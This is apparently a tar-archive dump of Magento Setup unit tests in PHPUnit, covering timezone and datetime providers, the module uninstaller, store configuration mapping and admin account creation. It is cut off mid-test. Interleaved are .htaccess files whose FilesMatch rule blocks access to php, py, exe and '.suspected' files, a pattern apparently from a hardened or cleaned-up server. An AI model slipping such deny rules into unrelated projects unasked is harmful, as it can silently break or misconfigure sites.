class TimeZoneProviderTest extends TestCase { public function testGet() { $timeZone = $this->createMock(Timezone::class); $objectManager = $this->getMockForAbstractClass( ObjectManagerInterface::class, [], '', false ); $objectManager->expects($this->once()) ->method('create') ->with( Timezone::class, ['scopeType' => ScopeConfigInterface::SCOPE_TYPE_DEFAULT] ) ->willReturn($timeZone); /** @var ObjectManagerProvider|MockObject $objectManagerProvider */ $objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $objectManagerProvider->expects($this->any()) ->method('get') ->willReturn($objectManager); $object = new TimeZoneProvider($objectManagerProvider); $this->assertSame($timeZone, $object->get()); // Assert that the provider always returns the same object $this->assertSame($timeZone, $object->get()); } } Magento/Setup/Test/Unit/Model/DateTime/DateTimeProviderTest.php000077700000003614151323623130020422 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\DateTime; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\Stdlib\DateTime\DateTime; use Magento\Framework\Stdlib\DateTime\Timezone; use Magento\Setup\Model\DateTime\DateTimeProvider; use Magento\Setup\Model\DateTime\TimeZoneProvider; use Magento\Setup\Model\ObjectManagerProvider; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class DateTimeProviderTest extends TestCase { public function testGet() { $dateTime = $this->createMock(DateTime::class); /** @var TimeZoneProvider|MockObject $timeZoneProvider */ $timeZoneProvider = $this->createMock(TimeZoneProvider::class); $timeZone = $this->createMock(Timezone::class); $timeZoneProvider->expects($this->any()) ->method('get') ->willReturn($timeZone); $objectManager = $this->getMockForAbstractClass( ObjectManagerInterface::class, [], '', false ); $objectManager->expects($this->once()) ->method('create') ->with( DateTime::class, ['localeDate' => $timeZone] ) ->willReturn($dateTime); /** @var ObjectManagerProvider|MockObject $objectManagerProvider */ $objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $objectManagerProvider->expects($this->any()) ->method('get') ->willReturn($objectManager); $object = new DateTimeProvider($timeZoneProvider, $objectManagerProvider); $this->assertSame($dateTime, $object->get()); // Assert that the provider always returns the same object $this->assertSame($dateTime, $object->get()); } } Magento/Setup/Test/Unit/Model/DateTime/.htaccess000077700000000177151323623130015441 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Model/ModuleRegistryUninstallerTest.php000077700000006151151323623130020715 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\DeploymentConfig\Writer; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Framework\Config\File\ConfigFilePool; use Magento\Framework\Module\ModuleList\Loader; use Magento\Setup\Model\ModuleRegistryUninstaller; use Magento\Setup\Module\DataSetup; use Magento\Setup\Module\DataSetupFactory; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Output\OutputInterface; class ModuleRegistryUninstallerTest extends TestCase { /** * @var MockObject|DeploymentConfig */ private $deploymentConfig; /** * @var MockObject|Writer */ private $writer; /** * @var MockObject|Loader */ private $loader; /** * @var MockObject|DataSetup */ private $dataSetup; /** * @var MockObject|OutputInterface */ private $output; /** * @var ModuleRegistryUninstaller */ private $moduleRegistryUninstaller; protected function setUp(): void { $this->deploymentConfig = $this->createMock(DeploymentConfig::class); $this->writer = $this->createMock(Writer::class); $this->loader = $this->createMock(Loader::class); $this->dataSetup = $this->createMock(DataSetup::class); $dataSetupFactory = $this->createMock(DataSetupFactory::class); $dataSetupFactory->expects($this->any())->method('create')->willReturn($this->dataSetup); $this->output = $this->getMockForAbstractClass(OutputInterface::class); $this->moduleRegistryUninstaller = new ModuleRegistryUninstaller( $dataSetupFactory, $this->deploymentConfig, $this->writer, $this->loader ); } public function testRemoveModulesFromDb() { $this->output->expects($this->atLeastOnce())->method('writeln'); $this->dataSetup->expects($this->atLeastOnce())->method('deleteTableRow'); $this->moduleRegistryUninstaller->removeModulesFromDb($this->output, ['moduleA', 'moduleB']); } public function testRemoveModulesFromDeploymentConfig() { $this->output->expects($this->atLeastOnce())->method('writeln'); $this->deploymentConfig->expects($this->once()) ->method('getConfigData') ->willReturn(['moduleA' => 1, 'moduleB' => 1, 'moduleC' => 1, 'moduleD' => 1]); $this->loader->expects($this->once())->method('load')->willReturn(['moduleC' => [], 'moduleD' => []]); $this->writer->expects($this->once()) ->method('saveConfig') ->with( [ ConfigFilePool::APP_CONFIG => [ ConfigOptionsListConstants::KEY_MODULES => ['moduleC' => 1, 'moduleD' => 1] ] ] ); $this->moduleRegistryUninstaller->removeModulesFromDeploymentConfig($this->output, ['moduleA', 'moduleB']); } } Magento/Setup/Test/Unit/Model/Address/AddressDataGeneratorTest.php000077700000002272151323623130021131 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Address; use Magento\Setup\Model\Address\AddressDataGenerator; use PHPUnit\Framework\TestCase; class AddressDataGeneratorTest extends TestCase { /** * @var array */ private $addressStructure = [ 'postcode', ]; /** * @var AddressDataGenerator */ private $addressGenerator; protected function setUp(): void { $this->addressGenerator = new AddressDataGenerator(); } public function testPostcode() { // phpcs:ignore mt_srand(42); $address1 = $this->addressGenerator->generateAddress(); // phpcs:ignore mt_srand(66); $address2 = $this->addressGenerator->generateAddress(); $this->assertNotEquals($address1['postcode'], $address2['postcode']); } public function testAddressStructure() { $address = $this->addressGenerator->generateAddress(); foreach ($this->addressStructure as $addressField) { $this->assertArrayHasKey($addressField, $address); } } } Magento/Setup/Test/Unit/Model/Address/.htaccess000077700000000177151323623130015332 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Model/StoreConfigurationDataMapperTest.php000077700000016234151323623130021304 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Backend\Model\Url; use Magento\Directory\Helper\Data; use Magento\Directory\Model\Currency; use Magento\Setup\Model\StoreConfigurationDataMapper; use Magento\Store\Model\Store; use PHPUnit\Framework\TestCase; class StoreConfigurationDataMapperTest extends TestCase { /** * @param array $data * @param array $expected * @dataProvider getConfigDataDataProvider */ public function testGetConfigData(array $data, array $expected) { $userConfigurationDataMapper = new StoreConfigurationDataMapper(); $this->assertEquals($expected, $userConfigurationDataMapper->getConfigData($data)); } /** * @return array * * @SuppressWarnings(PHPMD.ExcessiveMethodLength) */ public function getConfigDataDataProvider() { return [ 'valid' => [ [ StoreConfigurationDataMapper::KEY_ADMIN_USE_SECURITY_KEY => '1', StoreConfigurationDataMapper::KEY_BASE_URL => 'http://127.0.0.1/', StoreConfigurationDataMapper::KEY_BASE_URL_SECURE => 'https://127.0.0.1/', StoreConfigurationDataMapper::KEY_CURRENCY => 'USD', StoreConfigurationDataMapper::KEY_IS_SECURE => '1', StoreConfigurationDataMapper::KEY_IS_SECURE_ADMIN => '1', StoreConfigurationDataMapper::KEY_LANGUAGE => 'en_US', StoreConfigurationDataMapper::KEY_TIMEZONE => 'America/Chicago', StoreConfigurationDataMapper::KEY_USE_SEF_URL => '1', ], [ Store::XML_PATH_USE_REWRITES => '1', Store::XML_PATH_UNSECURE_BASE_URL => 'http://127.0.0.1/', Store::XML_PATH_SECURE_IN_FRONTEND => '1', Store::XML_PATH_SECURE_BASE_URL => 'https://127.0.0.1/', Store::XML_PATH_SECURE_IN_ADMINHTML => '1', Data::XML_PATH_DEFAULT_LOCALE => 'en_US', Data::XML_PATH_DEFAULT_TIMEZONE => 'America/Chicago', Currency::XML_PATH_CURRENCY_BASE => 'USD', Currency::XML_PATH_CURRENCY_DEFAULT => 'USD', Currency::XML_PATH_CURRENCY_ALLOW => 'USD', Url::XML_PATH_USE_SECURE_KEY => '1', ], ], 'valid alphabet url' => [ [ StoreConfigurationDataMapper::KEY_ADMIN_USE_SECURITY_KEY => '1', StoreConfigurationDataMapper::KEY_BASE_URL => 'http://example.com/', StoreConfigurationDataMapper::KEY_BASE_URL_SECURE => 'https://example.com/', StoreConfigurationDataMapper::KEY_CURRENCY => 'USD', StoreConfigurationDataMapper::KEY_IS_SECURE => '1', StoreConfigurationDataMapper::KEY_IS_SECURE_ADMIN => '1', StoreConfigurationDataMapper::KEY_LANGUAGE => 'en_US', StoreConfigurationDataMapper::KEY_TIMEZONE => 'America/Chicago', StoreConfigurationDataMapper::KEY_USE_SEF_URL => '1', ], [ Store::XML_PATH_USE_REWRITES => '1', Store::XML_PATH_UNSECURE_BASE_URL => 'http://example.com/', Store::XML_PATH_SECURE_IN_FRONTEND => '1', Store::XML_PATH_SECURE_BASE_URL => 'https://example.com/', Store::XML_PATH_SECURE_IN_ADMINHTML => '1', Data::XML_PATH_DEFAULT_LOCALE => 'en_US', Data::XML_PATH_DEFAULT_TIMEZONE => 'America/Chicago', Currency::XML_PATH_CURRENCY_BASE => 'USD', Currency::XML_PATH_CURRENCY_DEFAULT => 'USD', Currency::XML_PATH_CURRENCY_ALLOW => 'USD', Url::XML_PATH_USE_SECURE_KEY => '1', ], ], 'no trailing slash' => [ [ StoreConfigurationDataMapper::KEY_ADMIN_USE_SECURITY_KEY => '1', StoreConfigurationDataMapper::KEY_BASE_URL => 'http://127.0.0.1', StoreConfigurationDataMapper::KEY_BASE_URL_SECURE => 'https://127.0.0.1', StoreConfigurationDataMapper::KEY_CURRENCY => 'USD', StoreConfigurationDataMapper::KEY_IS_SECURE => '1', StoreConfigurationDataMapper::KEY_IS_SECURE_ADMIN => '1', StoreConfigurationDataMapper::KEY_LANGUAGE => 'en_US', StoreConfigurationDataMapper::KEY_TIMEZONE => 'America/Chicago', StoreConfigurationDataMapper::KEY_USE_SEF_URL => '1', ], [ Store::XML_PATH_USE_REWRITES => '1', Store::XML_PATH_UNSECURE_BASE_URL => 'http://127.0.0.1/', Store::XML_PATH_SECURE_IN_FRONTEND => '1', Store::XML_PATH_SECURE_BASE_URL => 'https://127.0.0.1/', Store::XML_PATH_SECURE_IN_ADMINHTML => '1', Data::XML_PATH_DEFAULT_LOCALE => 'en_US', Data::XML_PATH_DEFAULT_TIMEZONE => 'America/Chicago', Currency::XML_PATH_CURRENCY_BASE => 'USD', Currency::XML_PATH_CURRENCY_DEFAULT => 'USD', Currency::XML_PATH_CURRENCY_ALLOW => 'USD', Url::XML_PATH_USE_SECURE_KEY => '1', ], ], 'no trailing slash, alphabet url' => [ [ StoreConfigurationDataMapper::KEY_ADMIN_USE_SECURITY_KEY => '1', StoreConfigurationDataMapper::KEY_BASE_URL => 'http://example.com', StoreConfigurationDataMapper::KEY_BASE_URL_SECURE => 'https://example.com', StoreConfigurationDataMapper::KEY_CURRENCY => 'USD', StoreConfigurationDataMapper::KEY_IS_SECURE => '1', StoreConfigurationDataMapper::KEY_IS_SECURE_ADMIN => '1', StoreConfigurationDataMapper::KEY_LANGUAGE => 'en_US', StoreConfigurationDataMapper::KEY_TIMEZONE => 'America/Chicago', StoreConfigurationDataMapper::KEY_USE_SEF_URL => '1', ], [ Store::XML_PATH_USE_REWRITES => '1', Store::XML_PATH_UNSECURE_BASE_URL => 'http://example.com/', Store::XML_PATH_SECURE_IN_FRONTEND => '1', Store::XML_PATH_SECURE_BASE_URL => 'https://example.com/', Store::XML_PATH_SECURE_IN_ADMINHTML => '1', Data::XML_PATH_DEFAULT_LOCALE => 'en_US', Data::XML_PATH_DEFAULT_TIMEZONE => 'America/Chicago', Currency::XML_PATH_CURRENCY_BASE => 'USD', Currency::XML_PATH_CURRENCY_DEFAULT => 'USD', Currency::XML_PATH_CURRENCY_ALLOW => 'USD', Url::XML_PATH_USE_SECURE_KEY => '1', ], ], ]; } } Magento/Setup/Test/Unit/Model/GeneratorTest.php000077700000001666151323623130015452 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Setup\Model\Generator; use PHPUnit\Framework\TestCase; class GeneratorTest extends TestCase { /** * @test * * @return void */ public function testIteratorInterface() { $pattern = [ 'id' => '%s', 'name' => 'Static', 'calculated' => function ($index) { return $index * 10; }, ]; $model = new Generator($pattern, 2); $rows = []; foreach ($model as $row) { $rows[] = $row; } $this->assertEquals( [ ['id' => '1', 'name' => 'Static', 'calculated' => 10], ['id' => '2', 'name' => 'Static', 'calculated' => 20], ], $rows ); } } Magento/Setup/Test/Unit/Model/UninstallCollectorTest.php000077700000010147151323623130017336 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Setup\Model\UninstallCollector; class UninstallCollectorTest extends \PHPUnit\Framework\TestCase { /** * @var UninstallCollector */ private $collector; /** * @var \PHPUnit\Framework\MockObject\MockObject|\Magento\Framework\DB\Adapter\AdapterInterface */ private $adapterInterface; /** * @var \PHPUnit\Framework\MockObject\MockObject|\Magento\Framework\DB\Select */ private $result; protected function setUp(): void { $objectManagerProvider = $this->createMock(\Magento\Setup\Model\ObjectManagerProvider::class); $objectManager = $this->getMockForAbstractClass(\Magento\Framework\ObjectManagerInterface::class, [], '', false); $objectManagerProvider->expects($this->once())->method('get')->willReturn($objectManager); $setup = $this->createMock(\Magento\Setup\Module\DataSetup::class); $this->adapterInterface = $this->getMockForAbstractClass( \Magento\Framework\DB\Adapter\AdapterInterface::class, [], '', false ); $select = $this->createPartialMock(\Magento\Framework\DB\Select::class, ['from']); $this->adapterInterface->expects($this->once())->method('select')->willReturn($select); $setup->expects($this->exactly(2))->method('getConnection')->willReturn($this->adapterInterface); $this->result = $this->createMock(\Magento\Framework\DB\Select::class); $select->expects($this->once())->method('from')->willReturn($this->result); $uninstallA = 'Uninstall Class A'; $uninstallB = 'Uninstall Class B'; $objectManager->expects($this->any()) ->method('create') ->willReturnMap( [ ['Magento\A\Setup\Uninstall', [], $uninstallA], ['Magento\B\Setup\Uninstall', [], $uninstallB], ] ); $setupFactory = $this->createMock(\Magento\Setup\Module\DataSetupFactory::class); $setupFactory->expects($this->once())->method('create')->willReturn($setup); $this->collector = new UninstallCollector($objectManagerProvider, $setupFactory); } public function testUninstallCollector() { $this->result->expects($this->never())->method('where'); $this->adapterInterface->expects($this->once()) ->method('fetchAll') ->with($this->result) ->willReturn([['module' => 'Magento_A'], ['module' => 'Magento_B'], ['module' => 'Magento_C']]); $this->assertEquals( ['Magento_A' => 'Uninstall Class A', 'Magento_B' => 'Uninstall Class B'], $this->collector->collectUninstall() ); } public function testUninstallCollectorWithInput() { $this->result->expects($this->once())->method('where')->willReturn($this->result); $this->adapterInterface->expects($this->once()) ->method('fetchAll') ->with($this->result) ->willReturn([['module' => 'Magento_A']]); $this->assertEquals(['Magento_A' => 'Uninstall Class A'], $this->collector->collectUninstall(['Magento_A'])); } } namespace Magento\Setup\Model; /** * This function overrides the native function for the purpose of testing * * @param string $obj * @param string $className * @return bool */ function is_subclass_of($obj, $className) { if ($obj == 'Uninstall Class A' && $className == \Magento\Framework\Setup\UninstallInterface::class) { return true; } if ($obj == 'Uninstall Class B' && $className == \Magento\Framework\Setup\UninstallInterface::class) { return true; } return false; } /** * This function overrides the native function for the purpose of testing * * @param string $className * @return bool */ function class_exists($className) { if ($className == 'Magento\A\Setup\Uninstall' || $className == 'Magento\B\Setup\Uninstall') { return true; } return false; } Magento/Setup/Test/Unit/Model/BasePackageInfoTest.php000077700000010443151323623130016457 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Setup\Model\BasePackageInfo; /** * Tests BasePackageInfo * */ class BasePackageInfoTest extends \PHPUnit\Framework\TestCase { /** * @var \PHPUnit\Framework\MockObject\MockObject|\Magento\Framework\FileSystem\Directory\ReadFactory */ private $readFactoryMock; /** * @var \PHPUnit\Framework\MockObject\MockObject|\Magento\Framework\FileSystem\Directory\ReadInterface */ private $readerMock; /** * @var \PHPUnit\Framework\MockObject\MockObject|\Magento\Setup\Model\BasePackageInfo */ private $basePackageInfo; protected function setup(): void { $this->readFactoryMock = $this->createMock(\Magento\Framework\Filesystem\Directory\ReadFactory::class); $this->readerMock = $this->getMockForAbstractClass( \Magento\Framework\Filesystem\Directory\ReadInterface::class, [], '', false ); $this->readFactoryMock->expects($this->once())->method('create')->willReturn($this->readerMock); $this->basePackageInfo = new BasePackageInfo($this->readFactoryMock); } // Error scenario: magento/magento2-base/composer.json not found public function testBaseComposerJsonFileNotFound() { $this->readerMock->expects($this->once())->method('isExist')->willReturn(false); $this->readerMock->expects($this->never())->method('isReadable'); $this->readerMock->expects($this->never())->method('readFile'); $this->expectException(\Magento\Setup\Exception::class); $this->expectExceptionMessage( sprintf('Could not locate %s file.', BasePackageInfo::MAGENTO_BASE_PACKAGE_COMPOSER_JSON_FILE) ); $this->basePackageInfo->getPaths(); } // Error scenario: magento/magento2-base/composer.json file could not be read public function testBaseComposerJsonFileNotReadable() { $this->readerMock->expects($this->once())->method('isExist')->willReturn(true); $this->readerMock->expects($this->once())->method('isReadable')->willReturn(false); $this->readerMock->expects($this->never())->method('readFile'); $this->expectException(\Magento\Setup\Exception::class); $this->expectExceptionMessage( sprintf('Could not read %s file.', BasePackageInfo::MAGENTO_BASE_PACKAGE_COMPOSER_JSON_FILE) ); $this->basePackageInfo->getPaths(); } // Scenario: ["extra"]["map"] is absent within magento/magento2-base/composer.json file public function testBaseNoExtraMapSectionInComposerJsonFile() { $this->readerMock->expects($this->once())->method('isExist')->willReturn(true); $this->readerMock->expects($this->once())->method('isReadable')->willReturn(true); $jsonData = json_encode( [ BasePackageInfo::COMPOSER_KEY_EXTRA => [ __FILE__, __FILE__ ] ] ); $this->readerMock->expects($this->once())->method('readFile')->willReturn($jsonData); $expectedList = []; $actualList = $this->basePackageInfo->getPaths(); $this->assertEquals($expectedList, $actualList); } // Success scenario public function testBasePackageInfo() { $this->readerMock->expects($this->once())->method('isExist')->willReturn(true); $this->readerMock->expects($this->once())->method('isReadable')->willReturn(true); $jsonData = json_encode( [ BasePackageInfo::COMPOSER_KEY_EXTRA => [ BasePackageInfo::COMPOSER_KEY_MAP => [ [ __FILE__, __FILE__ ], [ __DIR__, __DIR__ ] ] ] ] ); $this->readerMock->expects($this->once())->method('readFile')->willReturn($jsonData); $expectedList = [__FILE__, __DIR__]; $actualList = $this->basePackageInfo->getPaths(); $this->assertEquals($expectedList, $actualList); } } Magento/Setup/Test/Unit/Model/SearchConfigOptionsListTest.php000077700000005575151323623130020272 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Framework\Setup\Option\SelectConfigOption; use Magento\Framework\Setup\Option\TextConfigOption; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Model\SearchConfigOptionsList; use PHPUnit\Framework\TestCase; class SearchConfigOptionsListTest extends TestCase { /** * @var SearchConfigOptionsList */ private $searchConfigOptionsList; protected function setup(): void { $objectManager = new ObjectManager($this); $this->searchConfigOptionsList = $objectManager->getObject(SearchConfigOptionsList::class); } public function testGetOptionsList() { $optionsList = $this->searchConfigOptionsList->getOptionsList(); $this->assertCount(8, $optionsList); $this->assertArrayHasKey(0, $optionsList); $this->assertInstanceOf(SelectConfigOption::class, $optionsList[0]); $this->assertEquals('search-engine', $optionsList[0]->getName()); $this->assertCount(3, $optionsList[0]->getSelectOptions()); $this->assertContains('elasticsearch5', $optionsList[0]->getSelectOptions()); $this->assertContains('elasticsearch6', $optionsList[0]->getSelectOptions()); $this->assertContains('elasticsearch7', $optionsList[0]->getSelectOptions()); $this->assertArrayHasKey(1, $optionsList); $this->assertInstanceOf(TextConfigOption::class, $optionsList[1]); $this->assertEquals('elasticsearch-host', $optionsList[1]->getName()); $this->assertArrayHasKey(2, $optionsList); $this->assertInstanceOf(TextConfigOption::class, $optionsList[2]); $this->assertEquals('elasticsearch-port', $optionsList[2]->getName()); $this->assertArrayHasKey(3, $optionsList); $this->assertInstanceOf(TextConfigOption::class, $optionsList[3]); $this->assertEquals('elasticsearch-enable-auth', $optionsList[3]->getName()); $this->assertArrayHasKey(4, $optionsList); $this->assertInstanceOf(TextConfigOption::class, $optionsList[4]); $this->assertEquals('elasticsearch-username', $optionsList[4]->getName()); $this->assertArrayHasKey(5, $optionsList); $this->assertInstanceOf(TextConfigOption::class, $optionsList[5]); $this->assertEquals('elasticsearch-password', $optionsList[5]->getName()); $this->assertArrayHasKey(6, $optionsList); $this->assertInstanceOf(TextConfigOption::class, $optionsList[6]); $this->assertEquals('elasticsearch-index-prefix', $optionsList[6]->getName()); $this->assertArrayHasKey(7, $optionsList); $this->assertInstanceOf(TextConfigOption::class, $optionsList[7]); $this->assertEquals('elasticsearch-timeout', $optionsList[7]->getName()); } } Magento/Setup/Test/Unit/Model/InstallerFactoryTest.php000077700000014230151323623130017000 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Laminas\ServiceManager\ServiceLocatorInterface; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\DeploymentConfig\Reader; use Magento\Framework\App\DeploymentConfig\Writer; use Magento\Framework\App\MaintenanceMode; use Magento\Framework\App\ObjectManager; use Magento\Framework\App\ResourceConnection; use Magento\Framework\App\State\CleanupFiles; use Magento\Framework\Filesystem; use Magento\Framework\Model\ResourceModel\Db\ObjectRelationProcessor; use Magento\Framework\Model\ResourceModel\Db\TransactionManager; use Magento\Framework\Module\ModuleList; use Magento\Framework\Module\ModuleList\Loader; use Magento\Framework\Setup\FilePermissions; use Magento\Framework\Setup\LoggerInterface; use Magento\Framework\Setup\SampleData\State; use Magento\Framework\Setup\SchemaPersistor; use Magento\Setup\Model\AdminAccountFactory; use Magento\Setup\Model\ConfigModel; use Magento\Setup\Model\DeclarationInstaller; use Magento\Setup\Model\Installer; use Magento\Setup\Model\InstallerFactory; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Model\PhpReadinessCheck; use Magento\Setup\Module\ConnectionFactory; use Magento\Setup\Module\DataSetupFactory; use Magento\Setup\Module\ResourceFactory; use Magento\Setup\Module\SetupFactory; use Magento\Setup\Validator\DbValidator; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class InstallerFactoryTest extends TestCase { /** * @var ObjectManagerProvider|MockObject */ private $objectManagerProviderMock; public function testCreate() { $this->objectManagerProviderMock = $this->getMockBuilder(ObjectManagerProvider::class) ->disableOriginalConstructor() ->onlyMethods(['get']) ->getMock(); $objectManagerMock = $this->getMockBuilder(ObjectManager::class) ->disableOriginalConstructor() ->onlyMethods(['get']) ->getMock(); $objectManagerMock->expects($this->any()) ->method('get') ->willReturnMap( [ [DeclarationInstaller::class, $this->createMock(DeclarationInstaller::class)], [SchemaPersistor::class, $this->createMock(SchemaPersistor::class)], ] ); $this->objectManagerProviderMock->expects($this->any()) ->method('get') ->willReturn($objectManagerMock); /** @var ServiceLocatorInterface|MockObject $serviceLocatorMock */ $serviceLocatorMock = $this->getMockBuilder( ServiceLocatorInterface::class )->onlyMethods( ['get'] )->getMockForAbstractClass(); $serviceLocatorMock->expects($this->any())->method('get') ->willReturnMap($this->getReturnValueMap()); /** @var LoggerInterface|MockObject $log */ $log = $this->getMockForAbstractClass(LoggerInterface::class); /** @var ResourceFactory|MockObject $resourceFactoryMock */ $resourceFactoryMock = $this->createMock(ResourceFactory::class); $resourceFactoryMock ->expects($this->any()) ->method('create') ->willReturn($this->createMock(ResourceConnection::class)); $installerFactory = new InstallerFactory($serviceLocatorMock, $resourceFactoryMock); $installer = $installerFactory->create($log); $this->assertInstanceOf(Installer::class, $installer); } /** * @return array */ private function getReturnValueMap() { return [ [ FilePermissions::class, $this->createMock(FilePermissions::class), ], [ Writer::class, $this->createMock(Writer::class), ], [ Reader::class, $this->createMock(Reader::class), ], [ DeploymentConfig::class, $this->createMock(DeploymentConfig::class), ], [ ModuleList::class, $this->createMock(ModuleList::class), ], [ Loader::class, $this->createMock(Loader::class), ], [ AdminAccountFactory::class, $this->createMock(AdminAccountFactory::class), ], [ ConnectionFactory::class, $this->createMock(ConnectionFactory::class), ], [ MaintenanceMode::class, $this->createMock(MaintenanceMode::class), ], [ Filesystem::class, $this->createMock(Filesystem::class), ], [ ObjectManagerProvider::class, $this->objectManagerProviderMock ], [ TransactionManager::class, $this->createMock(TransactionManager::class), ], [ ObjectRelationProcessor::class, $this->createMock(ObjectRelationProcessor::class), ], [ ConfigModel::class, $this->createMock(ConfigModel::class), ], [ CleanupFiles::class, $this->createMock(CleanupFiles::class), ], [ DbValidator::class, $this->createMock(DbValidator::class), ], [ SetupFactory::class, $this->createMock(SetupFactory::class), ], [ DataSetupFactory::class, $this->createMock(DataSetupFactory::class), ], [ State::class, $this->createMock(State::class), ], [ PhpReadinessCheck::class, $this->createMock(PhpReadinessCheck::class), ], ]; } } Magento/Setup/Test/Unit/Model/AdminAccountTest.php000077700000035575151323623130016077 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Framework\DB\Adapter\Pdo\Mysql; use Magento\Framework\Encryption\EncryptorInterface; use Magento\Setup\Model\AdminAccount; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class AdminAccountTest extends TestCase { /** * @var MockObject|Mysql */ private $dbAdapter; /** * @var MockObject|EncryptorInterface */ private $encryptor; /** * @var AdminAccount */ private $adminAccount; /** * @var string */ private $prefix; protected function setUp(): void { $this->dbAdapter = $this->getMockBuilder(Mysql::class) ->disableOriginalConstructor() ->getMock(); $this->dbAdapter ->method('getTableName') ->willReturnCallback(function ($table) { return $table; }); $this->encryptor = $this->getMockBuilder(EncryptorInterface::class) ->getMockForAbstractClass(); $data = [ AdminAccount::KEY_FIRST_NAME => 'John', AdminAccount::KEY_LAST_NAME => 'Doe', AdminAccount::KEY_EMAIL => 'john.doe@test.com', AdminAccount::KEY_PASSWORD => '123123q', AdminAccount::KEY_USER => 'admin', AdminAccount::KEY_PREFIX => 'pre_', ]; $this->prefix = $data[AdminAccount::KEY_PREFIX]; $this->adminAccount = new AdminAccount( $this->dbAdapter, $this->encryptor, $data ); } public function testSaveUserExistsAdminRoleExists() { // existing user data $existingUserData = [ 'email' => 'john.doe@test.com', 'username' => 'admin', 'user_id' => 1, ]; // existing admin role data $existingAdminRoleData = [ 'parent_id' => 0, 'tree_level' => 2, 'role_type' => 'U', 'user_id' => 1, 'user_type' => 2, 'role_name' => 'admin', 'role_id' => 1, ]; $returnValueMap = [ [ 'SELECT user_id, username, email FROM ' . $this->prefix . 'admin_user WHERE username = :username OR email = :email', ['username' => 'admin', 'email' => 'john.doe@test.com'], null, $existingUserData, ], [ 'SELECT user_id, username, email FROM ' . $this->prefix . 'admin_user WHERE username = :username OR email = :email', ['username' => 'admin', 'email' => 'john.doe@test.com'], null, $existingUserData, ], [ 'SELECT * FROM ' . $this->prefix . 'authorization_role WHERE user_id = :user_id AND user_type = :user_type', ['user_id' => 1, 'user_type' => 2], null, $existingAdminRoleData, ], ]; $this->dbAdapter ->expects($this->exactly(3)) ->method('fetchRow') ->willReturnMap($returnValueMap); $this->dbAdapter->expects($this->once())->method('quoteInto')->willReturn(''); $this->dbAdapter->expects($this->once())->method('update')->willReturn(1); $this->dbAdapter->expects($this->once()) ->method('insert') ->with('pre_admin_passwords', $this->anything()); $this->adminAccount->save(); } public function testSaveUserExistsNewAdminRole() { // existing user data $existingUserData = [ 'email' => 'john.doe@test.com', 'username' => 'admin', 'user_id' => 1, ]; // speical admin role data $administratorRoleData = [ 'parent_id' => 0, 'tree_level' => 1, 'role_type' => 'G', 'user_id' => 0, 'user_type' => 2, 'role_name' => 'Administrators', 'role_id' => 0, ]; $returnValueMap = [ [ 'SELECT user_id, username, email FROM ' . $this->prefix . 'admin_user WHERE username = :username OR email = :email', ['username' => 'admin', 'email' => 'john.doe@test.com'], null, $existingUserData, ], [ 'SELECT user_id, username, email FROM ' . $this->prefix . 'admin_user WHERE username = :username OR email = :email', ['username' => 'admin', 'email' => 'john.doe@test.com'], null, $existingUserData, ], [ 'SELECT * FROM ' . $this->prefix . 'authorization_role WHERE user_id = :user_id AND user_type = :user_type', ['user_id' => 1, 'user_type' => 2], null, [], ], [ 'SELECT * FROM ' . $this->prefix . 'authorization_role WHERE parent_id = :parent_id AND tree_level = :tree_level ' . 'AND role_type = :role_type AND user_id = :user_id ' . 'AND user_type = :user_type AND role_name = :role_name', [ 'parent_id' => 0, 'tree_level' => 1, 'role_type' => 'G', 'user_id' => 0, 'user_type' => 2, 'role_name' => 'Administrators', ], null, $administratorRoleData, ], ]; $this->dbAdapter ->expects(self::exactly(4)) ->method('fetchRow') ->willReturnMap($returnValueMap); $this->dbAdapter->method('quoteInto') ->willReturn(''); $this->dbAdapter->method('update') ->with(self::equalTo('pre_admin_user'), self::anything()) ->willReturn(1); $this->dbAdapter->expects(self::at(8)) ->method('insert') ->with(self::equalTo('pre_admin_passwords'), self::anything()); // should 